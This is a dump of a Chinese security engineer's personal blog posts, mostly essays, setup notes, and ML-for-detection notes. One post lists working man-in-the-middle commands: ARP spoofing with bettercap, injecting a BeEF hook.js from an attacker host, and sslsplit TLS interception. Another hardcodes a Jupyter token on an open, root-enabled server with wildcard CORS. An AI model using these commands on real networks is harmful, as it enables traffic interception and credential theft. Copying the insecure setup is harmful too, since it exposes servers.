25 | * 装了个Win10系统,安装驱动精灵,安装完驱动卸载驱动精灵。
26 | * 桌面采用大图标
27 | * Microsoft Edge缩放150
28 | * 删除系统输入法,只保留了搜狗输入法,老年版皮肤字体够大。而且可以语音输入
29 | * 屏蔽广告: PC屏蔽,和浏览器屏蔽。 Opera的内置了广告防护,电脑管家也带了广告防护
30 | * 装了个腾讯视频,微信,7zip
31 | * 装了个Lanuncy,本来还打算装个Everything,后来出于考虑不装了
32 | * 删除不必要的系统自带软件
33 | * 启动项优化
34 | * 组策略禁用安装程序,只允许运行指定程序,就是你刚刚安装的
35 | * 禁用了自动更新
36 | * 关闭家庭组
37 |
38 |
39 |
40 |
41 | #### 其他: 两个问题
42 |
43 | * 如何用批处理或powershell控制组策略?
44 | * 怎么更适宜中老年人用?
45 |
46 |
47 | #### windows软件列表:
48 | 虽然自己整天玩linux,但是在windows下也折腾过一段时间,多取前人经验。
49 |
50 | * Lanuncy
51 | * Everything
52 | * IDM
53 | * EagleGet
54 | * 7Zip
55 | * VLC / KMPlayer
56 | * 网易云 / Foobar
57 | * FastCaputreStone
58 | * Sublime Text3 / Notepad++
59 | * f.lux
60 | * Avast
61 | * CCleaner
62 | * Opera / Chrome
63 | * IObit Unistaller
64 | * TeamViewer
65 | * XShell
66 | * Git
67 | * Sumatra PDF
68 |
69 | > 折腾好旧电脑,来记录下吧。
--------------------------------------------------------------------------------
/source/_posts/2017-09-10-nginx-subdomain-and-proxy-jupyter.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: Nginx SubDomain and Proxypass Jupyter notebook
4 | categories: 安全工程师
5 | keywords: Jupyter Nginx Proxy
6 | tags: 工具
7 | ---
8 |
9 | It was being executed it in my DigitOcean Machine Learning AI Droplet.
10 |
11 | Firstly, Parser a domain name to your vps, (add A record, also your subdomain). Now we edit the config file in our configure file. locate at in `/etc/nginx/conf.d/yourselfdomain.conf`
12 |
13 | for example , in my subdomain, i edit the file `/etc/nginx/conf.d/mldl.conf`, and change it to:
14 |
15 | >
16 |
17 | ```bash
18 | server {
19 | listen 80;
20 | server_name irc.mldl.site;
21 |
22 | location / {
23 | proxy_pass http://localhost:3000;
24 | }
25 | }
26 | ```
27 |
28 | Note:Jupyter token was being writted in `~/.bashrc`, and was runing as service(also allow root acces),if your want stop it, and run it on yourself directory.Just follow the step:
29 |
30 | step 1:
31 | > `systemctl stop jupyter.service`
32 |
33 | step 2:
34 | > `jupyter-notebook --NotebookApp.token=2bab1e75-22c8-4328-b791-83a39a7170a7 --no-browser --port 8080 --ip=0.0.0.0`
35 |
36 | > if you need to allow root access,
37 |
38 | > `jupyter-notebook --NotebookApp.token=2bab1e75-22c8-4328-b791-83a39a7170a7 --no-browser --port 8080 --ip=0.0.0.0 --allow-root`
39 |
40 | But there was a problem, Jupyter use the ajax as a response. Nginx use proxy head to solve the cross domain problem. Now, the new configure file looke like this:
41 |
42 | ```
43 | server {
44 | listen 80;
45 | server_name jupyter.mldl.site;
46 |
47 | location / {
48 | proxy_pass http://localhost:8080;
49 | add_header Access-Control-Allow-Origin: *;
50 | proxy_set_header X-Real_IP $remote_addr;
51 | proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
52 | proxy_set_header X-NginX-Proxy true;
53 | proxy_ssl_session_reuse off;
54 | proxy_set_header Host $http_host;
55 |
56 | proxy_redirect off;
57 | proxy_http_version 1.1;
58 | proxy_set_header Upgrade $http_upgrade;
59 | proxy_set_header Connection "upgrade";
60 | }
61 | }
62 |
63 | ```
64 |
--------------------------------------------------------------------------------
/source/_posts/2017-09-14-Machine-learning-training-for-nothing.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 第一次机器学习培训总结
4 | categories: 安全工程师
5 | tags: AI与机器学习 学习数据挖掘
6 | ---
7 |
8 | # 前言
9 |
10 | 本文[无干货](https://img.iami.xyz/assets/ml_training.pptx),吐槽加扯淡。
11 |
12 | 到公司后开始组织技术分享也有一段时间了。本着好意,本着分享,想去提高大家的水平。于是呢,就在上周四,我去给公司一干同事讲了一节课机器学习。题目是上上周四定的,准备了4,5天希望能够尽可能的通俗的基础的去引起他们的兴趣,希望带他们入门。然而事情怎么可能像想象的那么样顺利呢?然后我才明白了任何看起来正常的事情背后需要付出多大的努力。
13 |
14 | 在之前的公司里,搞搞技术分享很正常,大家也很乐意,会在一定时间内集中精神讲完,都很上进。在这里,一万个不乐意,玩手机的玩手机,假寐的假寐,
15 | 真是操蛋。
16 |
17 |
18 | # 正文
19 |
20 | **[消耗]**:
21 | 5天,完整2天时间,3天每天3小时以上。
22 |
23 | > 两个数据集:
24 |
25 | * Mnist
26 | * SMS
27 |
28 | > 三种算法:
29 |
30 | * KNN
31 | * SVM
32 | * Naive Bayes
33 |
34 | > 两种实现:
35 |
36 | * Scikit-Learn
37 | * Tensorflow
38 |
39 | > 其他
40 |
41 | * 注册了一个域名
42 | * 部署了聊天室作为课前后讨论
43 | * 部署了Jupyter给他们用,运行在线示例
44 | * 打印资料,提前4天提供。
45 |
46 |
47 | 我准备的是两个示例,`mnist`手写数据集识别和`SMS`垃圾文本分类。用的算法也是最简单的,`KNN/SVM`(Mnist),NaiveBayes(SMS text),分别实现了`tensorflow`版本和`scikit-learn`两个版本。主要讲的两个算法是`KNN`和`Bayes`。
48 |
49 |
50 | **[收获]**:
51 | >
52 | * 加深了对这些概念和算法的掌握,说明和别人讲东西,的确会提高自己的认知。
53 | * 应该得罪了几个人,不过我根本不在乎。如果认知在一个层次的话,就不会这样了。
54 | * 做了大学到现在最长的一次PPT,知道自己很傻逼很浅
55 | * 要成大事,还需要努力努力再努力
56 |
57 |
58 | #### 后记:
59 |
60 | 后来,讲完之后,大家还讨论了一下这个技术分享的事情。最后呢。
61 |
62 | * 见贤思齐焉,见不贤而内自省也。
63 | > 你心里就没有B数吗?都不能上进些?
64 |
65 | * 大家的水平真是参差不齐(一同事说考虑到这多同事的水平)
66 | > 我不是讽刺谁,在座的水平都是垃圾。
67 | >>要是吹牛逼有用,那你们的水平真是比我高多了。
68 |
69 | PS:突然发现上面有歧义,以上的一级引用意指这句话可不可这以理解?顺便加上逗比的文字表情包。并没有讽刺谁。为了讽刺谁就没有意义了。只是为了自省。(update 09.20)
70 |
71 |
72 | * 第二天早上老板说,这效果不好,感觉大家没入门。
73 | > 难道要我喂不成,什么都不看,分享时也不听。能入P的门,何况这本身也不是你一节课就能入得门。我自己学了那么久,也没敢说自己入门。
74 | >> 我把PPT丢给学弟,学弟都能感到这是在是一个入门级别的东西。所以,是我讲的不够简单,还是学弟太聪明?
75 | >> 前两次扯一个异常与错误处理都能吹2个半小时牛逼,扯到天南地北的。
76 |
77 | * 我实在不明白为什么有的人什么都不会又tm不想提高自己,不愿意接触不会的知识。
78 | > 想有什么用(海知时杨老师给我讲的,鉴于杨老师的特质,时刻提醒自己)
79 |
80 | 
81 |
82 | * 现在看来我们实验室出来的,水平都还是可以的,
83 |
84 | 敬,自由。
85 |
--------------------------------------------------------------------------------
/source/_posts/2017-11-28-Life-me-up.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 死亡诗社与博尔赫斯口述
4 | categories: HowTo
5 | tags: 漫漫人生路
6 | ---
7 |
8 | #### 前言:
9 |
10 | 书写和思考将人类与动物区分开来,也因此使我们变得不同。我们一边寄希望与未来,将文化和智慧传承下去。一边紧握当前,以求有所突破。数万年过来,人类文明得以发展。时光也仿佛就在史学家拿起笔写写画画的过程中逝去了,仿佛也就只能如此,但是事情并不是这样的,我们都知道,并不是这样。
11 |
12 | 不论是生物在进(退)化,还是宇宙在衰变。从原始人嘿哟嘿哟的喊叫开始,我们就被赋予了自由的权利。在遥远的过去,吟游诗人的嘴中还传唱神话故事的时候,人类就已经从那些统治着人类的超凡力量下解放出来。我告诉自己,一个人应该去追究幸福和自由,去探求真相(请不要纠结于到底是权利还是权力),我也这样告诉身边的朋友,希望他们去感受美好,真真切切,快快乐乐。然而,人生在向前的过程中越来越具有鲜明的目的性。有时候,会愈发让人疑惑。是否坚持品质能够更好?每当我问自己这个问题,我都会告诉自己,是的,你应该保持美好的品质。
13 |
14 | 就像《凡人歌》所唱,你我皆凡人,生在人世间。然而,谁人不曾渴望放肆痛快去爱,活的痛快热烈呢?不曾渴望站在顶端放眼当世,看峰峦叠翠,跌宕起伏。然而大多人终将度过平凡的一生,穿梭于往来行人的街角巷尾。即便他们并不这么认为,却也无法改变这样的现实。这并不是说平凡不好,平凡,并没有什么不好。以前很多人嘲笑凤姐,拿她当做一个笑柄。凤姐说过,她花了人生中最美好的青春用于跨过这隐藏着于世间的沟壑。能坚持,极好。
15 |
16 | 所以你问我,人生的意义到底在哪里,或许就在那里。23岁的时候和喜欢的人做喜欢的事情。
17 |
18 |
19 | #### 后记:
20 |
21 | 去年的12月1号,是我到上海工作的第一天。以后的博客可能会直接写在该博客github的[issues](https://github.com/mylamour/blog/issues)里了。工作看起来很忙,却又仿佛没有成果。一个瓶颈到另一个瓶颈罢了。
22 |
23 | * [进击的安全](https://github.com/mylamour/blog/issues/8)
24 | * [机器学习从头开始之基础套路](https://github.com/mylamour/blog/issues/5)
25 | * [翻了翻工作日志,写个总结吧](https://github.com/mylamour/blog/issues/3)
26 |
27 | #### 参考:
28 |
29 | 前言来自琐琐碎碎读过的书和记不清的内容
30 |
31 | * 《神话与诗》
32 | * 《博尔赫斯:口述》
33 | * 《伊利亚特》
34 | * 《死亡诗社》
35 | * 《凡人歌》
36 |
37 | 后记来自工作和学习,知识的积累需要时间,慢慢沉淀方可。能否如尝我愿,尚未可知。
--------------------------------------------------------------------------------
/source/_posts/2018-02-13-MITM.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 中间人攻击(MITM)随笔
4 | categories: 安全工程师
5 | kerywords: 中间人攻击 sniffer hook.js
6 | tags: 工具
7 | ---
8 |
9 | # sniffer (ICMP/ARP)
10 | > `bettercap -I enp0s31f6 -T 172.16.10.232 -S ARP -X --sniffer --proxy -P POST --log-timestamp --log /root/Desktop/232 --silent`
11 |
12 | # hook.js and msfconsole
13 |
14 | * beef
15 | > `vim config.yaml`
16 | > `vim extensions/metasploit/config.yaml`
17 |
18 | * metasploit
19 | > `load msgrpc ServerHost=172.16.10.222 Pass=abc123 SSL=y`
20 | >> 如果不加ssl,需要确定在beef的配置文件中将ssl_vertify设置为false即可
21 |
22 | * start beef
23 | * Inject js
24 | >`bettercap -I enp0s31f6 -T 172.16.10.246 -S ARP -X --sniffer --proxy -P POST --proxy --proxy-module injectjs --js-url http://172.16.10.222:3000/hook.js
25 | `
26 | >> 查看帮助 `bettercap --proxy-module injectjs -h`
27 |
28 | > 我使用了下mitmf,感觉没有bettercap好用,mitmf是这样用的` python mitmf.py -i enp0s31f6 --arp --spoof --target 172.16.10.246 --gateway 172.16.10.1 --hsts --inject --js-url http://172.16.10.222:3000/hook.js`
29 | >> 端口号占用需要修改config目录下的mitmf.conf, 以上两个都需要root权限
30 |
31 |
32 | # https中间人
33 |
34 | * `apt-get install libssl-dev libevent-dev`
35 |
36 | *
37 | ```bash
38 | openssl genrsa -out ca.key 2048
39 | openssl req -new -x509 -days 1096 -key ca.key -out ca.crt
40 | ```
41 | ```bash
42 | echo 1 > /proc/sys/net/ipv4/ip_forward
43 | iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
44 | iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
45 | iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443
46 | iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443
47 | iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443
48 | iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443
49 | ```
50 |
51 | ```bash
52 | arpspoof -i eth0 -t target -r gateway
53 | sslsplit -D -l connect.log -j ./test -S ./log -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
54 | # 端口是你设置的转发端口
55 | ```
56 |
57 | * DNS 欺骗的方式有哪些?
58 | * MITM攻击除了DNS之外呢?
59 | * DNS传输数据的方式,哪些工具?
60 | * 如何内网防嗅探,防数据泄露?
61 | * bettercap 的proxy modules怎么使用
62 | * sslsplit 和ssltrip的原理差异
63 | * 内网攻击有哪些方式
64 | * 对比[mitmproxy](http://docs.mitmproxy.org/en/stable/mitmproxy.html)这类工具呢?
65 |
66 |
67 | # 资源
68 | * [中间人毒化攻击](http://www.freebuf.com/articles/system/5157.html)
69 | * [Wifi 与bettercap中间人攻击](https://charlesreid1.com/wiki/MITM_Labs/Bettercap_Over_Wifi)
70 | * [SSLSplit](https://www.roe.ch/SSLsplit)
71 | * [Bettercap](https://danielmiessler.com/study/bettercap/)
--------------------------------------------------------------------------------
/source/_posts/2018-03-02-Die-With-Dark.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 写在数据泄露之前
4 | categories: 安全工程师
5 | tags: 小技巧 学习数据挖掘 数据安全
6 | ---
7 |
8 | # 前言
9 |
10 | 
11 |
12 | Tor上的博客关掉了.为什么拿这个放在最前面呢,是想要表示,怎么样才能匿名的在网络上存在下去,当然当我发出这篇文章的时候,我就不再是匿名的了.就像那谁说的,当你观测一个物体时,他会因为你的观测而改变.我知道自己知道的越来越少.自己的水平几斤几两,心里还是有点B数的.然而思考良久,还是打算记录下来.所以,仅以此文将本人对互联网隐私和思考记录于此.
13 |
14 | # 那些消失前的数据
15 |
16 | 大概有哪些数据呢,被运营商记录的数据,被各大厂商记录下的数据,例如有邮件纪录,流量纪录.设备信息等等等.对于最原始的互联网捡垃圾来说,一个好的目标选择或许就能获利不少.就ES而言.批量侦测回来的数据有大概有以下内容,在上一次侦测之前不乏有一些大公司的数据在里面.
17 |
18 | * 淘宝的顾客住址电话信息(已经消失...)
19 | * 门禁卡数据(住址,用户信息,门禁卡信息)
20 | * 住址电话信息(住址和电话的信息)
21 | * 社工库数据(若干社工库的集合,密码邮箱,以及个人详细信息(国外))
22 | * wifi密码数据(具有地理位置标识别的wifi数据)
23 | * 姓名和身份证(征信数据,历史遗留)
24 | * 政企申报公司数据(公司和申报人信息)
25 | * 学校报名信息,班级课程及学生信息
26 | * 若干公司的程序打的log,还挺用用,还有一家是什么云平台
27 |
28 | 虽然ES通常只是用来进行分析聚合后的日志,但是很多公司都拿ES作为数据库来存储产品数据,方便后台直接去读.相信在去年的ES集群勒索事件之后,很长的一段时间之内,公网暴露的ES数量骤减,然后随着时间的逐渐推移,这些无密码暴露公网的隐患又被人(新人)忘掉了,于是不可避免的在公网上又出现了许多.这也从侧面说明了,安全这个东西,必须要一直提醒我们不可松懈.毕竟安全无小事,一旦出现问题,损失几乎都是不可挽回的.就拿上面的例子来说,当这些量足够大的时候,基于这些信息你甚至可以知道某某某住在哪里,电话什么,门禁卡的密码,小孩在哪上学,老师,老师住在哪里...在哪些店上过网.现在在哪个位置.聚合成图谱展开之后,所有信息一览无余.当然这个有的部分数据集并没有这么多,但是毫无疑问的是,这些并不是幻想,而是可行的,并且可能真实存在的!
29 |
30 | # 防数据泄露应该做哪些事情
31 |
32 | 数据流加密处理和权限分级控制是我能想到对DLP所做的最根本的事情了,无论是威胁建模中的STRIDE解决方法还是攻击树的模型.只有控制好了权限的分级,并在分级的数据传输中做好数据加密处理,才能防止数据泄露.当然对应到网络层,对应到软件文档的指纹来说,又有着不同的检测方式,然而这个时候其实已经算是在减缓攻击了(内部数据的泄露无论是来自内鬼还是来自外部入侵都应该算作攻击的一部分).但也还是属于DLP的一环.
33 |
34 | Hack入侵是In, DLP泄露是Out.无论是In/Out,这些检测技术起来很大程度上都是一样的.本质都是相同的.在入侵检测时的样本特征用来识别恶意的请求,DLP传输数据时也可以用来标示关键数据.最简单的检测DGA,在入侵时可以,在泄露时也可以.这本身都处于同一个安全生命周期之中.只要把控好In/Out这个两个端点,就能做好安全保护措施,当然细分起来,可能还要到每个DMZ,每个设备上的In/Out.
35 |
36 | # 思考以及还有哪些可以做的事情
37 |
38 | - [ ] 通用检测框架到底是否可行?
39 | > 按照数据维度和设备类型联动各层数据,以流式形式,分层控制分析.将获取到的不同数据汇集到一起,采用不同的方式进行检测,检测模型也是分层,插件化形式分层.分别采用传统的规则识别,黑白名单,以及机器学习,时间序列分析(不懂)等方法进行测试.
40 |
41 | - [ ] 保护自己的隐私
42 | > 是否还有隐私可言?
43 | > 是不是我们知道了所有的逻辑谬误就能做出正确的选择,孩子,每个陷入逻辑谬误的人都以为自己做出了正确的选择.不要被所谓的正确懵逼了双眼,丧失了自己的选择.(来自今天的阅后即瞎.)
44 |
45 | - [ ] 利用机器学习或者深度学习来发现感兴趣的数据(当然直接匹配也是可以的)
46 | > 用在DLP中就是有益的,用在攻击者就是自动发现互联网上的敏感数据.
47 | > 文本自动摘要
48 |
--------------------------------------------------------------------------------
/source/_posts/2018-04-27-Oh-No-I-Can't-Breath.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 由甲醛引起的屁话一二三
4 | categories: HowTo
5 | tags: 漫漫人生路
6 | ---
7 |
8 | 新办公室装修完,大家就"拎包入住"了。过了一周时间,我已无法坚持了。
9 |
10 | 胸闷气短,难以呼吸,随即请假。
11 |
12 | 想到昨天请假,说不舒服。
13 |
14 | 某人不信,我说信不信我都要请假,某人答曰请不请我都不批。再答曰,批不批我都不来。再答:“如果不来,以后都不要来了”。事实证明,某人只是说气话,毕竟刀子嘴豆腐心。下午就给批了。
15 |
16 | 刚刚请假到家,依旧胸闷,隐隐不适。请假还意味着没有工资。
17 |
18 | 女朋友说不舒服就辞职吧,不是一天两天,身体重要。
19 |
20 | 新哥人真不错,还问了下我怎么了。
21 |
22 | 想到了京东三面之后没了,阿里三面之后没了。
23 |
24 | * [京东面试题](https://github.com/mylamour/blog/issues/19)
25 | * 阿里的我还没有整理
26 | * [同程的面试题](https://github.com/mylamour/blog/issues/21)
27 |
28 | 最近要做的关联分析还挺让人感兴趣的,但是需求不明确,还是想搞一搞。打算用知识图谱的东西去做。
29 |
30 | 昨天去问小叶知识图谱的东西,小叶给了我一套知识图谱的资料,说老丁再写书,等老丁写了发我一份。有点想他们了。
31 |
32 | 还是有点不舒服,不好喘气。不过既然打算专精web sec 和machine learning,就要好好搞下去。点点滴滴,铭记于心。
33 |
34 | * [特征工程很重要](https://github.com/mylamour/blog/issues/23)
35 | * [深度模型自动调参](https://github.com/mylamour/blog/issues/22)
36 | * [使用谱聚类进行文本聚类](https://github.com/mylamour/blog/issues/20)
37 | * 使用keras编写CNN进行文本分类的博客还没写完
38 | * python 并行编程的博客还没写完
39 | * 不知道为什么我的lstm模型在DGA检测上跑这么慢
40 | * inndy师傅的场子,只做了一点基础的以及ctf misc
41 | * [webshell种类](https://img.iami.xyz/images/38929412-c32b6b44-433e-11e8-852a-f74a57fb5ab9.png)整理完了
42 |
43 | 失落的一段时间司机大叔安慰了我很多,虽然我什么也没说。告诉我年轻人就要多闯闯。
44 |
45 | 技术瓶颈总会出现,需要努力才能有所突破。
46 |
47 | 我渴望美好,渴望从心所欲不逾矩。自谦,慎独。无论金色的太阳还是蓝色的太阳。十年练剑一朝起,静待风雷动。滚去学习。
48 |
--------------------------------------------------------------------------------
/source/_posts/2018-05-15-ML-IN-Webshell-Detection-Advantages-And-Disadvantages.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: Web安全检测中机器学习的经验之谈
4 | categories: 安全工程师
5 | kerywords: Webshell检测,机器学习,比较
6 | tags: AI与机器学习 学习数据挖掘 入侵检测与反入侵
7 | ---
8 |
9 |
10 | # 前言
11 |
12 | 常见的Web攻击中注入,XSS以及DGA等方面的检测,传统套路不必多言,自然是以黑白明单,正则规则为主。而在机器学习中,无论是SQL注入检测,XSS检测,Webshell检测都可被视作为对文本。那么针对这些web安全中常见的威胁攻击进行通用性的检测就可以看做为对文本进行分类的过程。本篇从文本分类的视角简要记录下机器学习在这些通用检测中的注意事项
13 |
14 | # 文本分类的流程
15 |
16 | 分类是有监督学习,一般来讲流程应该是: 数据预处理->特征提取->训练分类器->保存模型->预测
17 |
18 | 在这个过程中数据预处理和特征提取可以说是最重要的。有效的特征,比套路算法有用的多。
19 |
20 | 注意点:
21 |
22 | * 文本转向量,词向量,句向量,还是文档向量,不一而定,完全依靠需求来看。
23 | * 构建的词向量时,词向量长度可能有时不完全一样。
24 | * 确保最终转换后的向量长度要一致,如果不同当以最长向量为基准进行填充。当然这和网络层的设计有关,如果涉及的是可变长输入,则不需要转换一致。
25 | * 在尝试神经网络前,应该在传统机器学习方法上进行尝试,不仅易于比较,耗时也短。
26 | * 如果文本很短,且有词向量空间很小,短文本分类(一句话木马)的情况下即便可以达到1的精度,但是测试集效果会很差,DGA的话集成方法的训练的检测大概89%的精度。LSTM的看别人的可以达到1,但是自己没有训练过。
27 | * 需要注意正负样本的样本分布,增加其多样性。例如单独以wordpress为正例训练的webshell检测在Discuzx和Phpmyadmin的表现效果不好。
28 | * 有的文件并不能读取进来,可以通过编写类似strings命令去读取。
29 | * 黑样本数据量不足可以通过数据增强的方式进行处理,最简单的可以通过复制粘贴。
30 | * 内存不足尽量采用fit generator方式训练,但是会很慢。
31 |
32 |
33 | # 通用检测方法论
34 |
35 | 所以,很明显的,对于这些文本形式的检测,无论是webshell,xss,sql注入,dga等都可以看做是文本分类的方式。但如何有效在某种检测上实现时还要依赖更多维度的特征才能达到更好的效果
36 |
37 | ## 与传统方法相比
38 |
39 | * 传统方式,写不完的规则,添加不完的黑白名单,对变种的检测能力不是很强。但是速度快。
40 | * 机器学习的方式,缺乏足够的打标的样本。无法有效的获取训练集。训练速度慢,预测速度也远不及正则匹配。但是针对变种的检测能力较强,例如对回调型函数的检测,较于传统方式,效果更好。
41 | * 一个效果依赖于规则集,一个比较依赖于训练数据集
42 | * 以异常检测的方式去检测这些文本的话,可以解决样本的问题,但是效果依旧不是很完美。
43 |
44 | ## 神经网络构建的Tricks
45 |
46 | 采用机器学习的方式时,首先要明确的是输入,输出,什么形式的输入输出,连续不连续,分类还是聚类等等。一般来讲网络的层数构建并没有什么好的方法,只有试。先随便来个两层或者三层,然后给个100-200个神经元。进行尝试,效果不好就加层,加神经元,达到过拟合后,再去减少隐层和神经元。不过还可以根据以往阅读的论文中看看别人给的参数都是什么样子的,例如一般交叉验证的选10折交叉,webshell中的分词选5-ngram等。初始化参数的选择十分重要。
47 |
48 |
49 | ## 更好的检测方式
50 |
51 | * 训练时采用传统方法先过滤一部分,不是很确定的再采用机器学习进行次检测
52 | * 可以借助正则规则对已知webshell打标签,然后分类细分成webshell类别这样就变成多分类的问题了
53 | * 尽量聚合不同维度的特征,虽然单纯的文本向量已经拥有不错的效果
54 |
--------------------------------------------------------------------------------
/source/_posts/2018-08-06-Anti-Spam-and_KYC_.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 反垃圾(注册/登录/KYC)
4 | categories: 安全工程师
5 | kerywords: 反垃圾 反爬 内容安全
6 | tags: 安全研发
7 | ---
8 |
9 | # 前言
10 | 如上一篇所言,采用BanIP的方式,以及限速的方式。当然还可以采用API网关进行限制。不过这些都不是要讨论的,这篇要讨论的是,怎么通过代码层,实现常规,但是又不是那么容易被破解的方式。去达到防刷防作弊的效果。让我们再思考一下其他的方式,如何更好的做到。
11 |
12 | # 从JavaScript AntiDebug 开始
13 | 一般来讲是有以下几种技术:
14 | * 异常环境检测(我们只想自己的代码运行在浏览器中)
15 | * 调试工具检测
16 | * 代码完整性检测
17 | * 数据流完整性检测
18 | * 反模拟
19 |
20 | 正好前两天研究反调试技术,顺便翻译了一篇,详情点击[此处](http://telegra.ph/Javascirpt-Anti-Debugging-08-02)
21 |
22 |
23 | # 设计及验证
24 |
25 | 
26 |
27 | POC验证,(请无视字段。。。。),当然前提是前端也要做好反调试和加密。
28 |
29 | 
30 |
31 |
32 | 
33 |
34 | 前后端接入之后,但依旧不能完全的阻止攻击,在攻击者花费一定时间之后还是有可能被攻破的。那么如何在后面的阶段检测到脚本作弊,则需要对用户行为进行分析。
35 |
36 | # 用户行为分析
37 |
38 | 简单的鼠标行为记录,加上事件记录,单击,输入focus input,等等,将其序列化,做分类即可。这个方法目前正在测试环境收集用户行为日志,将其导入到s3,然后后期分析。
39 | 字段记录:
40 | * 鼠标轨迹
41 | * 单击事件
42 | * 输入事件:时长
43 | * 登录后行为
44 |
45 | 一下为简单的记录坐标轨迹:
46 | ```javascript
47 |
48 | document.onmousemove = function(e){
49 | var pageCoords = "( " + e.pageX + ", " + e.pageY + " )";
50 | console.log(pageCoords);
51 | };
52 |
53 | ```
54 |
55 | 更骚的操作是:
56 | ```javascript
57 |
58 | monitorEvents(document.body); // logs all events on the body
59 |
60 | monitorEvents(document.body, 'mouse'); // logs mouse events on the body
61 |
62 | monitorEvents(document.body.querySelectorAll('input')); // lo
63 | ```
64 |
65 |
66 | # 其他
67 |
68 | - [ ] 行为日志收集之后用于分析
69 | - [ ] Javascript 加密混淆深入了解
70 |
71 | # References
72 | * [Js AntiDebug 译文](http://telegra.ph/Javascirpt-Anti-Debugging-08-02)
73 | * [Log all events fired by an element in jquery](https://stackoverflow.com/questions/7439570/how-do-you-log-all-events-fired-by-an-element-in-jquery)
74 | ele面试时key提供了一个很不错的方法,`记录击键的时间戳`.我本来是记录的数据量有点大了
75 |
76 |
77 |
78 |
--------------------------------------------------------------------------------
/source/_posts/2018-08-12-Agile-Development-and-cross-team-communication.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 敏捷开发流程与跨团队沟通
4 | categories: HowTo
5 | kerywords: 项目管理 跨团队沟通 敏捷开发
6 | tags: 漫漫人生路
7 | ---
8 |
9 | # 前言
10 | 最近在反作弊过程中,涉及到前端后端测试。以及运维安全(我自己)的沟通。在开始这篇随笔之前,让我们先思考三个问题。ps:当然以下思考受限于个人工作环境,实非我之所愿。面临诸多问题,也不得不反思一二。尤其是公司当前面临着的诸多问题。
11 |
12 | * 如何避免滥竽充数之人掺和进工作范围之内
13 | * 如何在外部视角发现自己工作中的不足
14 | * 怎么保持平和的心态应应对不正常的沟通过程
15 | * 如何避免领导不懂技术的情况下却指手画脚
16 | * 面临参差不齐的员工时怎么去尽量统一水平,不至于拖慢进度
17 | * 如何在浮躁的行业或者环境里保持平心静气的继续学习
18 |
19 | 注意:心态一定要好,心态一定要好,心态一定要好。另外,这种合作是以实现功能为目的而临时的组合,所以大家都是平级关系。好好相处最好。不配合的话,再找他们leader。团队合作或者跨团队合作过程中很重要的一环应该有项目激励,但是在当前的情景下,并不具有该条件,谁让我只是个搞技术的呢......
20 |
21 |
22 | 需求调研,安全研究,技术点demo,协调后端,协调前端,协调测试,效果分析。
23 | 判断涉及人员: Me, 后端一个,前端2个,测试一个
24 | 职责划分:
25 | * Me: 安全技术研究,demo实现,协调前后端实现,协调测试进行测试,技术上线后的数据分析对比
26 | * 后端: demo技术点迁移修改后端代码,通过单元测试,对接前端
27 | * 前端A: demo技术点迁移修改前端一系统代码,通过单元测试,对接后端
28 | * 前端B: demo技术点迁移修改前端二系统代码,通过单元测试,对接后端
29 | * 测试: 接口测试,前端一,二和后端的对接
30 |
31 |
32 | # step 1: 第一阶段
33 | 流程: 需求调研->安全研究->技术点demo
34 |
35 | 前期进行调研,阅读了下网易云盾运行方式。不知道为什么自己的脑袋特别清晰,就设计了下人机验证的流程。前端js逻辑计算和反调试,然后上传数据,比对计算值是否一致。当然这种方式阻挡不了模拟登陆。但同时上传行为数据,踢出登录缓存队列的token用来防止作弊。然后把这些方式设计出来,按阶段分出实现的先后。
36 | 设计完成之后,本人通过撰写前期的demo进行测试并向主要开发人员讲解思路,互相探讨是否有其他方案。然后对每个技术点进行测试。之后将原型代码交由前后端实行。
37 |
38 | # step 2: 第二阶段
39 | 流程: 协调后端->协调前端->协调测试
40 |
41 | 根据技术点的落地难度(时间,准确度等)。技术点的实现交给后端测试完成,通过构建的单元测试后,交由前端对接。于此同时,前端将技术点的功能实现,等待后端进行接口对接。前端和后端联合测试,测试人员测试。
42 |
43 | # step 3: 第三阶段
44 | 流程: 效果分析
45 |
46 | 对比之前之后效果,通过对NGINX访问,api调用日志,邮件请求,验证码请求数据,waf拦截日志。并对比前后数月和当前异常访问日期前后,进行分析。测试改技术是否能解决这个问题。当前来看,通过恶意注册的用户下降。
47 |
48 | # 沟通
49 |
50 | 本地沟通其实没什么成本,和三位开发,两位沟通起来较好。另一位没有什么交集,但是水平一般,结果她copy代码的时候,出现了问题。然后配合后端进行了下调试,理清了问题之后,发现其在获取fingerprint的时候,代码出错。随后解决。
51 |
52 | other:
53 | 自从后端leader走了之后,现在和后端的沟通容易了许多。整个过程基本没有出现什么异常,两天半就完成了该技术点的实施。目前正在测试环境收集用户行为信息,上传后台以备后期分析。针对前后端leader来讲,喜欢否定别人不是一件好事。最好能在讨论前经过自己的反思。例如,一次与其讨论,缓存是选择redis还是memcache呢?直接上来一句,现在谁用memcache谁是傻逼。那么问题来了,让你说说不出来的时候,不经讨论就下结论,不仅让人难以信服,还会让人觉得人品有问题。尤其是在不懂的领域。与其沟通的过程中,实在让人难以忍受。
54 |
55 | 敏捷开发的特点是快,准。跨团队沟通的开发过程中敏捷开发是一个较好的选择。而此时,敏捷开发面临的另一个问题就是跨团队沟通,当团队以职能为目的,聚集并非相熟的开发时,问题将更加有问题。所以还是有很多的问题。
56 |
57 | 下面是面临到的其他问题:
58 |
59 | * 如何避免离职开发,运维带走程式和数据?尤其是品行不佳的。
60 | * 如何避免这些人以此谋利?
61 |
62 |
--------------------------------------------------------------------------------
